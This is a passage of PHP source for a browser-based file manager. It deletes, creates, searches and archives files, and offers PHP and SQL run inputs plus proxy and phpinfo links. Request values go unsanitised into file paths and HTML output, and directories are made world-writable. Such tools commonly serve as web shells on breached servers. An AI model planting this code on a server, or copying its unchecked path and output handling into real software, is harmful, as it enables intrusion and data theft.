                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

